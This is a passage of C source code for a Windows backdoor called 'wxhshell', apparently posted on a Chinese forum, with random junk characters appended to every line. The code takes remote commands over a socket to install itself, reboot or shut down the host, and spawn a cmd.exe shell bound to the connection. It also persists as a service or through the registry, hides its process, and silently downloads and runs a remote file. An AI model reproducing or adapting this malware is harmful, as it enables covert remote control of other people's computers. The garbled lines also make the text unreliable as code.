  else { 90I)"vfW5  
VJHHC.Kz  
    switch(cmd[0]) { y%E R51+  
  EsA^P2?_+  
  // 帮助 &~||<0m  
  case '?': { 8a. |CgI#h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `2r21rVntf  
    break; ]2b" oHg  
  } >`,v?<>+  
  // 安装 #J^p,6  
  case 'i': { T']*h8  
    if(Install()) w[4SuD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C. 8>  
    else >2$Ehw:K^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _eO+O=j_x  
    break; Qyd3e O_  
    } JB b}{fo~  
  // 卸载 '*-X 3p  
  case 'r': { BIV]4vl-&  
    if(Uninstall()) \hNMTj#O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 36Wuc@<H  
    else 9R.tkc|K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DB?_E{y]  
    break; {6/%w,{,  
    } .=^h@C*   
  // 显示 wxhshell 所在路径 ( 7Y :3  
  case 'p': { 6LvUi|~"<  
    char svExeFile[MAX_PATH]; E8NIH!dI  
    strcpy(svExeFile,"\n\r"); \ 0<e#0-V  
      strcat(svExeFile,ExeFile); $8_*LR$  
        send(wsh,svExeFile,strlen(svExeFile),0); _DJ0 MR~3  
    break; Y>%A*|U%  
    } TTy1a:V  
  // 重启 gfr``z=>O  
  case 'b': { 8|7Tk[X1j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cJE2z2uW0  
    if(Boot(REBOOT)) @}fnR(fS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *q8W;Wa L  
    else { BA t2m-  
    closesocket(wsh); j&8 ~X2?*  
    ExitThread(0); B8a!"AQ~5  
    } !4oYQB  
    break; V TEyqo2  
    } @uH7GW}$g  
  // 关机 _f34p:B%s  
  case 'd': { n,Ux>L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hj4A&`2  
    if(Boot(SHUTDOWN)) R9=,T0Y p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]]`+aF0  
    else { !uHI5k,f  
    closesocket(wsh); -F5U.6~`!  
    ExitThread(0); <T0-m?D_$  
    } oMMU5sm  
    break; F7"Ihb^l  
    } * =;=VUu5  
  // 获取shell .!9]I'9M  
  case 's': { G.oaDGy  
    CmdShell(wsh); \LM'KD pP_  
    closesocket(wsh); \t!+]v8f8  
    ExitThread(0); K5 w22L^=+  
    break; CQtd%'rt6  
  } Ir}&|"~H  
  // 退出 SXod r}  
  case 'x': { IFv2S|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b#XS.e/uf  
    CloseIt(wsh); w"l8M0$m  
    break; z*9/"M  
    } +Z{ 4OJK  
  // 离开 ~CM{?{z;  
  case 'q': { h+*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (.n" J2qj  
    closesocket(wsh); W tzV|e,  
    WSACleanup(); Fg,[=CqB[  
    exit(1); aMz%H|/$  
    break; wh~~g qi9  
        } :Z< 5iLq  
  } ( bBetX  
  } \XB71DUF  
}xdI{E1 q)  
  // 提示信息 o[cKh7&+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7q67_u? @  
} \8t g7Sdq  
  } (bT\HW%m  
T`WFY  
  return; h hd n9n  
} x b_C1n  
r/{VL3}F_e  
// shell模块句柄 W)9KYI9u  
int CmdShell(SOCKET sock) ;^ /9sLW?#  
{ Ok*:;G@  
STARTUPINFO si; !'[sV^ ds  
ZeroMemory(&si,sizeof(si)); H-rf?R2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ' bT9AV%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uvmNQg  
PROCESS_INFORMATION ProcessInfo; Nq9(O#}  
char cmdline[]="cmd"; 4ErDGYg}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s*!2oj  
  return 0; {+r?g J  
} e3Lf'+G\  
,-{j.  
// 自身启动模式 UW>~C  
int StartFromService(void) #2WBYScW0  
{ 1-qQp.Wj  
typedef struct m _]"L  
{ UPgZj\t%{  
  DWORD ExitStatus; 5jsnE )  
  DWORD PebBaseAddress; +"SBt}1  
  DWORD AffinityMask; ?]7ITF  
  DWORD BasePriority; \dfq& oyU\  
  ULONG UniqueProcessId; wLgRI$ _Dm  
  ULONG InheritedFromUniqueProcessId; ]&9f:5',  
}   PROCESS_BASIC_INFORMATION; d-?~O~qD|!  
{?j|]j  
PROCNTQSIP NtQueryInformationProcess; h{h=',o1  
o?%x!m>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2'x_zMV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D&oC1  
e~-D k .i  
  HANDLE             hProcess; r7IhmdA  
  PROCESS_BASIC_INFORMATION pbi; zY#U]Is  
o+tY[UX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F.\]Hqq  
  if(NULL == hInst ) return 0; h`vM+,I  
r1=Zoxc=w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jf%Ydr}`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8F@6^9C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d[S!e`,iD  
"jpjBH:c$  
  if (!NtQueryInformationProcess) return 0; t4JGd)r  
"~+K`*0r8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qt1# P  
  if(!hProcess) return 0; M P3E]T~:  
2.NzB7c*CM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oZ8SEC "]  
*3k~%RM%?  
  CloseHandle(hProcess); xQD#; 7  
{#;6$dU;(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )q=1<V44d  
if(hProcess==NULL) return 0; GN>T }  
pH*L8tT  
HMODULE hMod; 'kC$R;#\7  
char procName[255]; U}5uy9A  
unsigned long cbNeeded; \u)(+t{  
#A))#sT'R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;N j5NB7  
|MRxm"]A   
  CloseHandle(hProcess); 5(F!* 6i>  
Tru`1/ 7I  
if(strstr(procName,"services")) return 1; // 以服务启动 .CYq+^  
iFHVr'Og'  
  return 0; // 注册表启动 gr2zt&Z4  
} Dho~6K }"  
eR}d"F4W  
// 主模块 *i\7dJ Dj  
int StartWxhshell(LPSTR lpCmdLine) V]<dh|x  
{ ~bwFQYY=  
  SOCKET wsl; J L Z  
BOOL val=TRUE; \UE9Ff+{  
  int port=0; t=pG6U  
  struct sockaddr_in door; a{8GT2h`4  
hyBSS,I  
  if(wscfg.ws_autoins) Install(); /!E /9[V  
j`#|z9`(pB  
port=atoi(lpCmdLine); 7<KRB\)b&  
SZ0Zi\W  
if(port<=0) port=wscfg.ws_port; c]n4vhUa5  
tz)L`g/J~  
  WSADATA data; G)putk@   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G%>[I6G  
%] Bb;0G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bq _<v)M*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G +YF  
  door.sin_family = AF_INET; :l 7\7IT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +FJ o!~1  
  door.sin_port = htons(port); d82IEhZ#  
( {8Q=Gh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7i'vAOnw^  
closesocket(wsl); <oeHZD_ OR  
return 1; `P GWu1/  
} k!%HcU%J  
Qr0GxGWU  
  if(listen(wsl,2) == INVALID_SOCKET) { -x RsYYw  
closesocket(wsl); crmnh4-  
return 1; c#rbyx?5  
} !.F\v .  
  Wxhshell(wsl); In 1.R$O  
  WSACleanup(); @Xh 4ZMyEx  
GY4yZa  
return 0; u&g} !Smc8  
BY 1~\M  
} L72GF5+!!  
HPgMVp'  
// 以NT服务方式启动 u}$U|Cw-;T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :<jf}[w!  
{ jRBx7|ON  
DWORD   status = 0; 1.>` h:  
  DWORD   specificError = 0xfffffff; 8m 9G^s`[  
k%LE"Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]f-e/8$`@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T^Z#x-Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `|v#x@s  
  serviceStatus.dwWin32ExitCode     = 0; L,:U _\HQ  
  serviceStatus.dwServiceSpecificExitCode = 0; 6Z'zB&hM}  
  serviceStatus.dwCheckPoint       = 0; =CJs&Qa2  
  serviceStatus.dwWaitHint       = 0; >U}~Hv]  
1k hwwoo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J^?O] |  
  if (hServiceStatusHandle==0) return; 1E-$f  
N1SRnJu<f  
status = GetLastError(); !YoKKG~_0  
  if (status!=NO_ERROR) A^m hPBT_  
{ $)uQ%/DH>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GC{Ys|s  
    serviceStatus.dwCheckPoint       = 0; tF;aB*  
    serviceStatus.dwWaitHint       = 0; kP|!!N  
    serviceStatus.dwWin32ExitCode     = status;  ^@ux  
    serviceStatus.dwServiceSpecificExitCode = specificError; n|F`6.G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .)o5o7H  
    return; j9qN!.~mM  
  } Kzmgy14o  
]~oM'?&!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XrvrN^'  
  serviceStatus.dwCheckPoint       = 0; =GpLlJ`-  
  serviceStatus.dwWaitHint       = 0; Zdak))7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mEqV&M1;7l  
} 6z(_^CY  
xq]&XlA:ug  
// 处理NT服务事件,比如:启动、停止 71 2i |  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fb*;5VNU.  
{ m]%cNxS  
switch(fdwControl) 9#agI|d~  
{ 1H ZexV  
case SERVICE_CONTROL_STOP: 7,jqA"9  
  serviceStatus.dwWin32ExitCode = 0; NfSe(rd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ql zL<  
  serviceStatus.dwCheckPoint   = 0; a( qw  
  serviceStatus.dwWaitHint     = 0; CUtk4;^y#  
  {  "3v%|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $51#xe  
  } 6D+9f{~r  
  return; d EXw=u  
case SERVICE_CONTROL_PAUSE: (2{1m#o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D/)xe:  
  break; X$xqu\t7  
case SERVICE_CONTROL_CONTINUE: }skXh_Vu4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HS2)vd@)  
  break; /RMep8 &  
case SERVICE_CONTROL_INTERROGATE: C2VZE~U+  
  break; +uH1rF_&@  
}; QOOBCNe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2vur _`c V  
} LPXwfEHOm  
3Y8%5/D5  
// 标准应用程序主函数 *s/F4?*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QTDI^ZeuF  
{ rVO+ vhih  
L h0<A%  
// 获取操作系统版本 D]0#A|n F  
OsIsNt=GetOsVer(); %++q+pa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xOt|j4  
#A|M NJ%m  
  // 从命令行安装 c-3? D;  
  if(strpbrk(lpCmdLine,"iI")) Install(); X-%*`XG'  
`yf#(YP  
  // 下载执行文件 s*Fmu7o43  
if(wscfg.ws_downexe) { >yaz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J"z8olV  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^,rbA>/L  
} U"ZDt  
N#UyAm<9  
if(!OsIsNt) { ptsi\ 7BG  
// 如果时win9x,隐藏进程并且设置为注册表启动 NTn-4iJy  
HideProc(); ^ sz4rk  
StartWxhshell(lpCmdLine); HWc=.Qq  
} 3cs'Oz<w  
else X2EC+<  
  if(StartFromService()) jbG #__#_  
  // 以服务方式启动 FkRrW^?5G  
  StartServiceCtrlDispatcher(DispatchTable); m7d? SU  
else t<Og ?m}(  
  // 普通方式启动  ]@<O!fS  
  StartWxhshell(lpCmdLine); yDHH05Yl  
BK-{z).)  
return 0; tW 9vo-{+  
}
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只看该作者 1 发表于: 2006-10-10
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